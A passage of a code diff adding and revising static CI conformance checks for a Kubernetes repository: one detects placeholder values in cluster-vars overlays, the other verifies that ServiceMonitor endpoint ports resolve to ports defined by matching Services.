+# half is what lets emptiness be judged as authored-or-forgotten instead of guessed.
 overlays: dict[str, dict[str, str]] = {}
+stated: dict[str, set[str]] = {}
 for overlay in sorted((ROOT / "clusters").glob("*/kustomization.yaml")):
     env = overlay.parent.name
     if env == "base":
         continue
     eff = dict(base)
+    explicit: set[str] = set()
     try:
         k = yaml.safe_load(overlay.read_text()) or {}
     except Exception as exc:                                   # noqa: BLE001
@@ -308,27 +423,15 @@ for overlay in sorted((ROOT / "clusters").glob("*/kustomization.yaml")):
             m = re.match(r"^/data/([A-Za-z0-9_]+)$", str(op.get("path", "")))
             if m and str(op.get("op", "")) in ("replace", "add"):
                 eff[m.group(1)] = "" if op.get("value") is None else str(op["value"])
+                explicit.add(m.group(1))
     overlays[env] = eff
+    stated[env] = explicit
 check(len(overlays) >= 1,
-      "no clusters/<env>/kustomization.yaml overlay was parsed — assertion (2) would be vacuous")
-
-# ------------------------------------------------ which knobs is a guard responsible for?
-# Function bodies of standup.sh, then a one-hop taint trace from `x="$(cvar KEY)"` to a
-# `*_is_placeholder "${x}"` call. Both halves are read out of the file; nothing is named here.
-FUNC_RE = re.compile(r"^([a-z0-9_]+)\(\)\s*\{")
-funcs: dict[str, list[str]] = {}
-i = 0
-while i < len(LINES):
-    m = FUNC_RE.match(LINES[i])
-    if m:
-        end = next((j for j in range(i + 1, len(LINES)) if LINES[j] == "}"), len(LINES) - 1)
-        funcs[m.group(1)] = LINES[i + 1:end]
-        i = end + 1
-        continue
-    i += 1
-check(len(funcs) > 5, f"parsed only {len(funcs)} function(s) out of {STANDUP_REL} — the "
-                      "consumer assertion (3) would be vacuous")
+      "no clusters/<env>/kustomization.yaml overlay was parsed — assertion (A1) would be vacuous")
 
+# ------------------------------------------ which knobs is a guard responsible for? (HALF B)
+# A one-hop taint trace from `x="$(cvar KEY)"` to a `*_is_placeholder "${x}"` call. Both
+# halves are read out of the file; nothing is named here.
 CVAR_RE = re.compile(r"([A-Za-z_][A-Za-z0-9_]*)=\"\$\(\s*cvar\s+([A-Z0-9_]+)\s*\)\"")
 ALIAS_RE = re.compile(r"([A-Za-z_][A-Za-z0-9_]*)=\"\$\{([A-Za-z_][A-Za-z0-9_]*)[:}]")
 
@@ -347,8 +450,6 @@ for fname, body in funcs.items():
                 keys_of_var.setdefault(m.group(1), set()).update(src)
     called_on = {m.group(2) for m in CALL_RE.finditer(text)}
     called_vars = {re.sub(r"^\$\{?|\}?$", "", a) for a in called_on}
-    # Aggregate per (function, knob): the knob is guarded HERE if ANY variable carrying its
-    # value is passed to a predicate — `live="$(cvar K)"; ep="${live}"; guard "${ep}"` counts.
     guarded_here: dict[str, bool] = {}
     for var, keys in keys_of_var.items():
         for key in keys:
@@ -358,43 +459,119 @@ for fname, body in funcs.items():
         if g:
             guarded_keys.add(key)
 
-if not guarded_keys:
-    bail(f"no cluster-vars knob in {STANDUP_REL} is passed to a *_is_placeholder predicate. "
+if GUARD_REL and not guarded_keys:
+    bail(f"no cluster-vars knob in {GUARD_REL} is passed to a *_is_placeholder predicate. "
          "Either the guards were removed, or the way the script reads cluster-vars changed and "
          "this check's derivation must be updated in the SAME change — it must never silently "
          "verify an empty set.")
 
-# (3) CONSUMERS: every reader of a guarded knob must apply the guard to it.
+# (B2) CONSUMERS: every reader of a guarded knob must apply the guard to it.
 for fname, key, guarded in sorted(consumers):
     if key not in guarded_keys:
         continue                       # nothing claims responsibility for this knob at all
     check(guarded,
-          f"{STANDUP_REL}: {fname}() reads cluster-vars knob {key} but never passes it to a "
+          f"{GUARD_REL}: {fname}() reads cluster-vars knob {key} but never passes it to a "
           "*_is_placeholder guard, while other functions do. On 2026-09-05 all three consumers "
           "of S3_BACKUP_ENDPOINT were disarmed at once; a consumer that reads the knob and skips "
           "the guard is that failure in one function.")
 
-# ---------------------------------------------------------------- independent detector
-# Deliberately NOT derived from the guard alone (see the header): SEED is universal
-# loud-placeholder vocabulary, and the guard's own words are added so that a guard whose
-# ANCHORING is wrong still has its vocabulary tested against real values.
+# ------------------------------------------------------------------ independent detector
+# Deliberately NOT derived from the guard alone: SEED is universal loud-placeholder
+# vocabulary, and the guard's own words are added so that a guard whose ANCHORING is wrong
+# still has its vocabulary tested against real values.
 SEED = ["TBD", "TODO", "FIXME", "PLACEHOLDER", "REPLACE-ME", "REPLACEME",
         "CHANGE-ME", "CHANGEME", "FILL-ME", "FILLME", "SET-ME", "XXXX"]
+all_words = sorted({w.upper() for ws in guard_words.values() for w in ws if w})
 VOCAB = sorted({w.upper() for w in SEED} | set(all_words))
 ANGLE = re.compile(r"<[^>\s]+>")
 
 
-def placeholder_shaped(value: str) -> bool:
-    if value.strip() == "":
-        return True                                   # an unset endpoint is not a target
+def loud(value: str) -> bool:
+    """A positive statement that the value was never decided. The EMPTY STRING IS NOT LOUD —
+    see the header: cluster-vars authors "" deliberately, and treating it as a placeholder is
+    the false positive that made the original check red against its own input."""
     up = value.upper()
     return any(w in up for w in VOCAB) or bool(ANGLE.search(value))
 
 
-rows: list[tuple[str, str, str, str]] = []            # guard, expect, origin, value
-GUARD = sorted(guard_words)[0] if len(guard_words) == 1 else None
+def guard_shaped(value: str) -> bool:
+    """What a GUARD must refuse: loud, or empty. Empty counts here only because a `""`
+    case-arm is the guard author's declaration that empty is not a usable target."""
+    return value.strip() == "" or loud(value)
 
-# (1) VALUES: base default and every overlay's value, for every guarded knob.
+
+# ------------------------------------------------------------------- (A4) DETECTOR CANARIES
+# The detector is now the thing doing the refusing in HALF A, so it gets the same
+# no-op interrogation the guard does. These strings are the real ones from the incident.
+check(loud("https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com"),
+      "the detector does not recognise the exact 2026-09-05 placeholder "
+      "'https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com' — it is prefix-anchored, which is "
+      "the defect this check exists to catch, now in the check itself")
+check(loud("TBD-PROD-BULK-NFS-SERVER"),
+      "the detector does not recognise the repo's own TBD-PROD-* sentinel convention "
+      "(clusters/README.md) — assertion (A1) would pass over the very values it is about")
+check(loud("<your-account-id>"),
+      "the detector does not recognise an <angle-bracket> template as a placeholder")
+check(not loud("https://0123456789abcdef0123456789abcd.r2.cloudflarestorage.com"),
+      "the detector calls a REAL Cloudflare R2 endpoint a placeholder — it would false-block "
+      "every prod backup target")
+check(not loud("http://192.168.1.9:9000"),
+      "the detector calls a REAL MinIO endpoint a placeholder — it would false-block dev")
+check(not loud(""),
+      "the detector calls the EMPTY STRING loud. cluster-vars authors \"\" deliberately for "
+      "suffix/prefix knobs and documents it as load-bearing; emptiness is held to the "
+      "explicitness rule (A2) instead. This exact false positive made the original check FAIL "
+      "2 of 34 assertions against the real guard.")
+
+# --------------------------------- (A1) no overlay ships a LOUD value nothing refuses
+a1_rows = 0
+for env, eff in sorted(overlays.items()):
+    for key, value in sorted(eff.items()):
+        if key in guarded_keys:
+            continue            # a guard owns this knob: HALF B (B1) asserts it refuses it
+        a1_rows += 1
+        check(not loud(value),
+              f"clusters/{env}: knob {key} resolves to the placeholder-shaped value {value!r}, "
+              "and nothing refuses it"
+              + (f" — no guard in {GUARD_REL} covers this knob." if GUARD_REL
+                 else " — and no placeholder guard exists in the tree at all.")
+              + " Either give it a real value before it reaches an overlay, or guard it the way "
+                "the S3 endpoint is guarded. An overlay that ships a placeholder no guard "
+                "recognises is the 2026-09-05 failure with a different knob's name on it: it "
+                "applies clean, reports Ready, and the thing it configures does not exist.")
+
+# ------------------------- (A2) an empty effective value must be STATED, never inherited
+a2_rows = 0
+for env, eff in sorted(overlays.items()):
+    for key, value in sorted(eff.items()):
+        if value.strip() != "":
+            continue
+        a2_rows += 1
+        check(key in stated[env],
+              f"clusters/{env}: knob {key} resolves to the EMPTY STRING by INHERITANCE from "
+              "clusters/base — the overlay never states it. An empty value can be correct (dev's "
+              "BACKUP_CREDENTIALS_SUFFIX and VELERO_BACKUP_PREFIX are authored empty on purpose), "
+              "but only when the overlay SAYS SO: cluster-vars' own convention is that both "
+              "overlays state such a knob explicitly so neither inherits it silently. An empty "
+              "value nobody stated is indistinguishable from a knob somebody forgot.")
+
+# ---------------- (A3) a LOUD base sentinel must be overridden EXPLICITLY by every overlay
+a3_rows = 0
+for key, value in sorted(base.items()):
+    if not loud(value):
+        continue
+    for env in sorted(overlays):
+        a3_rows += 1
+        check(key in stated[env],
+              f"clusters/base/cluster-vars.yaml authors the LOUD sentinel {key}={value!r}, and "
+              f"clusters/{env} does not state that knob — so that overlay INHERITS the sentinel. "
+              "The TBD-PROD-* convention only works if a sentinel cannot be inherited by "
+              "omission; an omitted op is how prod silently ships a value nobody decided.")
+
+# --------------------------------------- HALF B corpus: authored values + anchoring + canaries
+rows: list[tuple[str, str, str, str]] = []            # guard, expect, origin, value
+
+# (B1) VALUES: base default and every overlay's value, for every guarded knob.
 for key in sorted(guarded_keys):
     seen: list[tuple[str, str]] = []
     if key in base:
@@ -404,24 +581,12 @@ for key in sorted(guarded_keys):
     check(bool(seen), f"guarded knob {key} is not defined in cluster-vars at all — the guard "
                       "protects a knob nothing authors")
     for origin, value in seen:
-        expect = "placeholder" if placeholder_shaped(value) else "usable"
+        expect = "placeholder" if guard_shaped(value) else "usable"
         for name in sorted(guard_words):
             rows.append((name, expect, origin, value))
 
-# (2) OVERLAYS: a placeholder-shaped effective value for an UNGUARDED knob.
-for env, eff in sorted(overlays.items()):
-    for key, value in sorted(eff.items()):
-        if key in guarded_keys or not placeholder_shaped(value):
-            continue
-        check(False,
-              f"clusters/{env}: knob {key} resolves to the placeholder-shaped value {value!r}, "
-              f"and NO guard in {STANDUP_REL} refuses it. Either give it a real value before it "
-              "reaches an overlay, or guard it the way the S3 endpoint is guarded — an overlay "
-              "that ships a placeholder no guard recognises is the 2026-09-05 failure with a "
-              "different knob's name on it.")
-
-# (4) ANCHORING: the guard's own vocabulary must match ANYWHERE, not just as a prefix,
-#     and a realistic endpoint must still be accepted.
+# (B3) ANCHORING: the guard's own vocabulary must match ANYWHERE, not just as a prefix,
+#      and a realistic endpoint must still be accepted.
 for name, words in sorted(guard_words.items()):
     for w in sorted(set(words)):
         rows.append((name, "placeholder",
@@ -436,15 +601,16 @@ for name, words in sorted(guard_words.items()):
 
 # Every guarded knob must reach the oracle once per authored source (base + each overlay),
 # so a knob silently dropping out of the corpus is a failure rather than a quiet pass.
-authored = [r for r in rows if not r[2].startswith(("anchoring:", "canary:"))]
-expected_rows = len(guarded_keys) * (1 + len(overlays)) * len(guard_words)
-check(len(authored) == expected_rows,
-      f"{len(authored)} authored value(s) reached the guard, expected {expected_rows} "
-      f"({len(guarded_keys)} guarded knob(s) x base+{len(overlays)} overlay(s) x "
-      f"{len(guard_words)} predicate(s)) — a guarded knob is missing from cluster-vars or from "
-      "an overlay's effective values, and the coupling is only partly exercised")
+if GUARD_REL:
+    authored = [r for r in rows if not r[2].startswith(("anchoring:", "canary:"))]
+    expected_rows = len(guarded_keys) * (1 + len(overlays)) * len(guard_words)
+    check(len(authored) == expected_rows,
+          f"{len(authored)} authored value(s) reached the guard, expected {expected_rows} "
+          f"({len(guarded_keys)} guarded knob(s) x base+{len(overlays)} overlay(s) x "
+          f"{len(guard_words)} predicate(s)) — a guarded knob is missing from cluster-vars or "
+          "from an overlay's effective values, and the coupling is only partly exercised")
 
-# ------------------------------------------------------- (6) the check is load-bearing
+# --------------------------------------------------- (A5) the check is load-bearing
 L0 = (ROOT / "ci" / "l0.sh").read_text() if (ROOT / "ci" / "l0.sh").is_file() else ""
 GATE = (ROOT / "ci" / "gate.sh").read_text() if (ROOT / "ci" / "gate.sh").is_file() else ""
 check("--layer l0" in L0,
@@ -452,6 +618,14 @@ check("--layer l0" in L0,
 check(bool(re.search(r"^for s in .*\bl0\b.*; do", GATE, re.M)) and bool(re.search(r"fail\).*BLOCK=1", GATE)),
       "ci/gate.sh does not set the merge block when the l0 stage fails")
 
+# ------------------------------------------------------- non-vacuity floor for HALF A
+# HALF A is the half that runs unconditionally, so it carries its own floor: if the
+# authored-value sweep shrinks to nothing, a pass here means nothing.
+check(a1_rows >= 20,
+      f"only {a1_rows} authored overlay value(s) were audited by (A1) — the sweep over "
+      "clusters/<env> effective cluster-vars has collapsed, and a pass would be meaningless. "
+      "Expected roughly (knobs x overlays); check the ConfigMap and overlay parse above.")
+
 # --------------------------------------------------------------------------- handoff
 with (WORK / "corpus.tsv").open("w") as fh:
     for name, expect, origin, value in rows:
@@ -459,17 +633,31 @@ with (WORK / "corpus.tsv").open("w") as fh:
 (WORK / "findings.txt").write_text("".join(f"{f}\n" for f in FAILURES))
 (WORK / "counts.txt").write_text(f"{CHECKS}\n")
 
-print(f"guards: {', '.join(sorted(guard_words))}  "
-      f"vocabulary: {', '.join(VOCAB)}")
-print(f"guarded knobs: {', '.join(sorted(guarded_keys))}  "
-      f"consumers traced: {len(consumers)}  overlays: {', '.join(sorted(overlays))}")
+if GUARD_REL:
+    print(f"guard file: {GUARD_REL}  predicates: {', '.join(sorted(guard_words))}")
+    print(f"guarded knobs: {', '.join(sorted(guarded_keys))}  "
+          f"consumers traced: {len(consumers)}")
+else:
+    print("guard file: NONE FOUND in the tree — HALF B (guard/value coupling) IS NOT PROVEN "
+          "ON THIS TREE. No *_is_placeholder predicate exists to extract: bootstrap/standup.sh "
+          "has never been on main (no deletion commit exists; it lives on unmerged prod-standup "
+          "branches). HALF A below runs against the real authored values and is what currently "
+          "prevents the 2026-09-05 outcome. When a guard lands ANYWHERE in the tree, discovery "
+          "picks it up and HALF B activates with no edit to this check.")
+print(f"detector vocabulary: {', '.join(VOCAB)}")
+print(f"HALF A: overlays {', '.join(sorted(overlays))}; {len(base)} base knob(s); "
+      f"(A1) {a1_rows} authored overlay value(s) screened; (A2) {a2_rows} empty value(s) "
+      f"checked for explicit statement; (A3) {a3_rows} base-sentinel inheritance check(s)")
 for name, expect, origin, value in rows:
     if not origin.startswith(("anchoring:", "canary:")):
         print(f"  authored  {origin} = {value!r} -> expect {expect}")
 PY
 
+GUARD_REL="$(tr -d '\n' < "${WORK}/mode.txt")"
+
 # ---------------------------------------------------------------------------------------
 # PHASE 2 (bash): source the REAL predicate lines and run the corpus through them.
+# Empty when no guard exists — HALF A has already run and carries its own floor.
 # ---------------------------------------------------------------------------------------
 # shellcheck disable=SC1090,SC1091
 source "${WORK}/guards.sh"
@@ -483,9 +671,9 @@ while IFS=$'\t' read -r guard expect origin value; do
   if [ "${verdict}" != "${expect}" ]; then
     oracle_failures=$((oracle_failures + 1))
     if [ "${expect}" = placeholder ]; then
-      printf '%s\n' "${guard}() in ${STANDUP_REL} ACCEPTS '${value}' (from ${origin}) as a usable value, but it is placeholder-shaped. This is the 2026-09-05 failure exactly: the guard is asked about a value it does not recognise, returns 'fine', and the tier it protects is enabled against something that does not exist. Fix the predicate (match the idiom anywhere, not as a prefix) or stop authoring that idiom." >> "${WORK}/findings.txt"
+      printf '%s\n' "${guard}() in ${GUARD_REL} ACCEPTS '${value}' (from ${origin}) as a usable value, but it is placeholder-shaped. This is the 2026-09-05 failure exactly: the guard is asked about a value it does not recognise, returns 'fine', and the tier it protects is enabled against something that does not exist. Fix the predicate (match the idiom anywhere, not as a prefix) or stop authoring that idiom." >> "${WORK}/findings.txt"
     else
-      printf '%s\n' "${guard}() in ${STANDUP_REL} REFUSES '${value}' (from ${origin}), which is a usable value. An over-matching guard leaves the tier it protects suspended forever and reports it as an operator decision — a silent failure in the other direction." >> "${WORK}/findings.txt"
+      printf '%s\n' "${guard}() in ${GUARD_REL} REFUSES '${value}' (from ${origin}), which is a usable value. An over-matching guard leaves the tier it protects suspended forever and reports it as an operator decision — a silent failure in the other direction." >> "${WORK}/findings.txt"
     fi
   fi
 done < "${WORK}/corpus.tsv"
@@ -495,11 +683,13 @@ py_checks="$(cat "${WORK}/counts.txt")"
 total=$((py_checks + oracle_rows))
 findings="$(cat "${WORK}/findings.txt")"
 
-# NO-OP GUARD: this repo has been bitten by a check that passed when perturbed because it
+# NO-OP GUARDS: this repo has been bitten by a check that passed when perturbed because it
 # asked a question that was always satisfiable. The floors below are the minimum evidence
-# for the verdict to mean anything, not a style rule.
-if [ "${oracle_rows}" -lt 6 ]; then
-  findings="${findings}only ${oracle_rows} value(s) were put to the real guard — the coupling is not actually being exercised
+# for the verdict to mean anything, not a style rule. The oracle floor applies only when a
+# guard exists — when none does, HALF A's own floor (a1_rows >= 20, asserted in phase 1) is
+# what stops this from degenerating, and the absence is reported on stdout.
+if [ -n "${GUARD_REL}" ] && [ "${oracle_rows}" -lt 6 ]; then
+  findings="${findings}only ${oracle_rows} value(s) were put to the real guard in ${GUARD_REL} — the coupling is not actually being exercised
 "
 fi
 if [ "${total}" -lt 20 ]; then
@@ -513,4 +703,8 @@ if [ -n "${findings}" ]; then
   exit 1
 fi
 
-echo "check OK: placeholder-guard-coupling — ${total} assertions; ${oracle_rows} value(s) run through the REAL extracted predicate(s) from ${STANDUP_REL} (no reimplementation), covering every authored cluster-vars value of every guarded knob in base and each overlay, the guard's own vocabulary matched mid-string, and the empty/real-endpoint canaries. Static slice only: refusal, not reachability — see the header."
+if [ -n "${GUARD_REL}" ]; then
+  echo "check OK: placeholder-guard-coupling — ${total} assertions. HALF A: no environment overlay ships a placeholder-shaped effective cluster-vars value, every empty value is stated explicitly rather than inherited, and the detector canaries hold (including the exact 2026-09-05 string, matched mid-string). HALF B: ${oracle_rows} value(s) run through the REAL extracted predicate(s) from ${GUARD_REL} (no reimplementation), covering every authored value of every guarded knob in base and each overlay, the guard's vocabulary matched mid-string, and the empty/real-endpoint canaries. Static slice only: refusal, not reachability — see the header."
+else
+  echo "check OK: placeholder-guard-coupling — ${total} assertions. HALF A ONLY: no environment overlay ships a placeholder-shaped effective cluster-vars value, every empty value is stated explicitly rather than inherited, no LOUD base sentinel is inherited by omission, and the detector canaries hold (including the exact 2026-09-05 string 'https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com', matched mid-string). HALF B (guard/value coupling) IS NOT PROVEN: no *_is_placeholder predicate exists anywhere in the tree to extract — see the stdout note above and the header. This is a REPORTED gap, not a skip: what a guard would be asked about is proven not to be a placeholder in the first place."
+fi

conformance/tests/l0-static/servicemonitor-ports-resolve/chainsaw-test.yaml

@@ -0,0 +1,105 @@
+# =============================================================================
+# L0 STATIC — every ServiceMonitor endpoint names a scrape target that RESOLVES
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES, AND WHY ITS SIBLING COULD NOT.
+# alert-metrics-have-scrape-targets audits scrape wiring FROM THE ALERT SIDE: it walks alert rules
+# and asks whether something scrapes the metric each one reads. Its assertion (4) is the `up{job=X}`
+# axis, and it is reachable ONLY through an alert that selects that job, only where the Service and
+# the ServiceMonitor sit in the SAME FILE. Its own header names the hole. This test is the other
+# direction: it walks the MONITORS, and asks of each one whether the target it names can exist —
+# with no alert rule required anywhere.
+#
+# That difference is not academic. On 2026-09-13 all twelve apps/* ServiceMonitors named
+# `endpoints[].port: metrics` and NO app Service defined a port of that name, so each discovered
+# ZERO targets (verified on prod: `count by (job) (up)` listed 24 jobs, none of the twelve; both
+# `up{job="plex"}` and `up{job="gitea"}` returned nothing). That was caught only because each app
+# also shipped an `up{job=...}` alert. THE FIX TO THOSE ALERTS DELETED THE ONLY THING THAT MADE THE
+# BROKEN MONITORS VISIBLE — they no longer read `up{job=...}` at all — so a monitor that discovers
+# nothing would from that moment have been invisible again, and the twelve register entries that
+# recorded the gap correctly became stale and were removed. A monitor scraping nothing is a defect
+# on its own terms: it is dead configuration that reads as live coverage, and every dashboard,
+# recording rule or future alert built on its series inherits the emptiness.
+#
+# GIVEN every ServiceMonitor and PodMonitor this repo authors,
+# WHEN  each endpoint's scrape target is resolved against every Service this repo authors,
+# THEN  (1) every endpoint names a target AT ALL (`port` or `targetPort`) — an endpoint naming
+#           neither scrapes nothing and is accepted silently by the operator;
+#       (2) every endpoint that names a `port` names a port that at least one Service its selector
+#           matches ACTUALLY DEFINES — the exact disagreement that made twelve monitors inert.
+#           Resolution is by SELECTOR ACROSS THE WHOLE TREE, not by same-file adjacency, so moving
+#           a Service into its own file cannot defeat it;
+#       (3) a monitor whose selector matches no Service in this repo is UNAUDITABLE (its Service is
+#           created by a Helm chart or an operator, so the port name lives outside the tree) and
+#           must be DECLARED in KNOWN_EXTERNAL_MONITORS, naming who creates the Service. That
+#           register is shrink-only: a monitor that later gains an in-repo Service, or that is
+#           deleted, FAILS as stale, so the unauditable set cannot quietly grow;
+#       (4) THE RESOLVER ITSELF IS PROVEN, on synthetic fixtures inside the check — one agreeing
+#           pair it must accept, one disagreeing pair it must reject. This is not decoration: after
+#           the fix there are zero in-repo monitors left for (2) to judge, and a guard whose only
+#           evidence is "nothing failed" is indistinguishable from a guard that stopped working.
+#           The fixtures are the exact shape catalog/render.py emits from
+#           `observability.metricsEndpoint`;
+#       (5) the GENERATOR cannot reintroduce the class: catalog/render.py must not hardcode an
+#           endpoint port name — it must take it from the ServiceDefinition, the same declaration
+#           that renders the Service port. A hardcoded literal is how twelve services acquired an
+#           identical wrong port name in one edit;
+#   AND (6) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope: whole-repo`,
+#           so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into EVERY gate run, and
+#           ci/gate.sh blocks the merge when the l0 stage fails. It deliberately adds NO stage to
+#           ci/l0.sh — tests/l0-static/whole-repo-invariants-wired fails the gate if anyone does.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh maps apps/* to NOTHING, so a change that
+# adds a ServiceMonitor under apps/ attributes no requirement and would filter this check out of
+# exactly the change that breaks it. Same reasoning as its sibling.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py and
+# the sibling check use); conformance/run.sh --layer l0 and ci/l0.sh run it directly, and this
+# Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is static):
+#   - That a resolved target is UP, answers, or emits the series an alert wants. The sibling check
+#     owns the metric-name axis and admits it cannot prove the SERIES NAME either; both are live
+#     reads and belong to a future L1/L3 check against /api/v1/label/__name__/values.
+#   - That a NetworkPolicy permits the scrape. The default-deny baseline drops it unless an allow is
+#     rendered, which is now part of what `observability.metricsEndpoint` emits
+#     (r_monitoring_ingress_policy) — but this check does not verify the allow, only the ports.
+#   - For a monitor in KNOWN_EXTERNAL_MONITORS, nothing about the chart's port names. The register
+#     records WHO owns them so the claim is reviewable, which is all a static check can offer.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: servicemonitor-ports-resolve
+  labels:
+    conformance.home.k3s/R-OBS-01: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-OBS-01"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — this invariant quantifies over every ServiceMonitor/PodMonitor and every
+    # Service in the tree (apps/wave-*, apps/vms, platform/keycloak, platform/kubevirt,
+    # platform/oauth2-proxy, platform/monitoring, platform/crafty, platform/homepage,
+    # runbooks/serving). No single requirement path-maps to that set, and ci/touched-requirements.sh
+    # maps apps/* to no requirement at all — so a requirement-scoped selection would skip this
+    # check on precisely the changes that can break it.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every ServiceMonitor/PodMonitor endpoint this repo authors names a scrape target that
+      resolves — a port some matching Service actually defines — the monitors whose Services come
+      from outside the tree are enumerated in a shrink-only register, and the resolver that decides
+      this is itself proven on fixtures, so a monitor can never again be authored, reviewed and
+      merged against a port nothing serves.
+spec:
+  steps:
+    - name: resolve-every-monitor-endpoint-against-every-service-this-repo-authors
+      description: >-
+        Inventory every ServiceMonitor/PodMonitor and Service in the tree, resolve each endpoint's
+        port against the Services its selector matches, ratchet the register of monitors whose
+        Service is chart-owned, prove the resolver on synthetic agreeing/disagreeing fixtures, and
+        assert the renderer does not hardcode an endpoint port name.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/servicemonitor-ports-resolve/check.sh

@@ -0,0 +1,421 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — every ServiceMonitor/PodMonitor endpoint names a scrape target that RESOLVES.
+# See chainsaw-test.yaml's header for the full WHY. In one paragraph:
+#
+# alert-metrics-have-scrape-targets audits scrape wiring from the ALERT side, and its `up{job=X}`
+# axis is reachable only through an alert that selects that job, only for a Service and a
+# ServiceMonitor in the SAME FILE. That is how it caught the twelve inert apps/* monitors on
+# 2026-09-13 (`endpoints[].port: metrics`, and no app Service defined such a port; on prod
+# `count by (job) (up)` listed 24 jobs and none of the twelve appeared). But FIXING those alerts
+# removed their `up{job=...}` selectors, which removed the only path by which the broken monitors
+# were visible at all. This check walks the MONITORS instead, needs no alert rule, and resolves by
+# SELECTOR across the whole tree — so a monitor that discovers nothing fails on its own terms.
+#
+# ASSERTIONS
+#   (0) the inventory is non-empty and the parse contract holds (anti-vacuous-pass);
+#   (1) every endpoint names a scrape target at all — `port` or `targetPort`;
+#   (2) every endpoint naming a `port` names a port at least one Service its selector matches
+#       actually DEFINES;
+#   (3) a monitor whose selector matches no in-repo Service is unauditable (chart/operator-owned
+#       Service) and must be declared in KNOWN_EXTERNAL_MONITORS — shrink-only, stale entries FAIL;
+#   (4) the RESOLVER is proven on synthetic fixtures (one agreeing pair, one disagreeing pair),
+#       because after the fix there are zero in-repo monitors for (2) to judge and a guard whose
+#       only evidence is "nothing failed" cannot be told apart from one that stopped working;
+#   (5) catalog/render.py does not HARDCODE an endpoint port name — it derives it from the
+#       ServiceDefinition, the same declaration that renders the Service port. A hardcoded literal
+#       is how twelve services acquired one identical wrong port name in a single edit;
+#   (6) the check is LOAD-BEARING: whole-repo scope declared here, honoured by ci/l0.sh's
+#       --include-scope union, and ci/gate.sh blocks on an l0 failure. NO hand-written ci/l0.sh
+#       stage (whole-repo-invariants-wired fails the gate if one appears).
+#
+# WHAT THIS DOES *NOT* PROVE (honest gaps — it is STATIC):
+#   - Nothing about liveness: that a resolved target is UP, answers, or emits the series a rule
+#     wants. The sibling check owns the metric-name axis and admits it cannot prove the series NAME
+#     either. Both need a live read of /api/v1/label/__name__/values (a future L1/L3 check).
+#   - Nothing about NetworkPolicy. An app namespace's default-deny baseline is `ingress: []`, so a
+#     scrape is dropped unless an allow is rendered; that allow is now part of what
+#     `observability.metricsEndpoint` emits (catalog/render.py r_monitoring_ingress_policy), but this
+#     check verifies ports, not policy.
+#   - Nothing about a chart's port names, for a monitor in KNOWN_EXTERNAL_MONITORS. The register
+#     records WHO owns them so the claim is reviewable; that is all a static check can offer.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns into
+# rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if the repo
+# contains no ServiceMonitor or PodMonitor at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if there is nothing to audit at all.
+if ! grep -rlE '^[[:space:]]*kind:[[:space:]]*(Service|Pod)Monitor[[:space:]]*$' \
+       "${ROOT}/platform" "${ROOT}/apps" >/dev/null 2>&1; then
+  echo "check SKIPPED: no ServiceMonitor/PodMonitor found under platform/ or apps/ — nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: every ServiceMonitor/PodMonitor endpoint's scrape target resolves.
+
+PyYAML (the same dependency as catalog/render.py and the sibling check) rather than line-based
+parsing: a monitor's selector, namespaceSelector and endpoint list are nested structures, and a
+line-based reader of them is precisely the approximate parser that silently stops matching — the
+failure class this check exists to prevent.
+"""
+from __future__ import annotations
+
+import re
+import sys
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# =============================================================================================
+# REGISTER — KNOWN_EXTERNAL_MONITORS. Shrink-only.
+#
+# A monitor whose selector matches NO Service in this repo cannot be audited here: the Service is
+# created by a Helm chart or an operator, so the port name lives outside the tree. That is a real
+# limit, not a pass — so each one is DECLARED, with WHO creates the Service it selects, and the
+# register can only shrink. If such a monitor later gains an in-repo Service its entry goes stale
+# and FAILS; if it is deleted, likewise. The same ratchet reasoning as the two registers in
+# alert-metrics-have-scrape-targets: failing outright would make the gate red for chart-owned
+# monitors that are perfectly correct, and a gate that is red for correct code gets disabled.
+#
+# Keyed by "<relpath>:<monitor name>".
+# =============================================================================================
+KNOWN_EXTERNAL_MONITORS: dict[str, str] = {
+    "platform/keycloak/servicemonitor.yaml:keycloak":
+        "selects the operator-created `keycloak-service` (labels app=keycloak) — the Keycloak "
+        "operator owns that Service. Scrapes by targetPort 9000 (the Quarkus management "
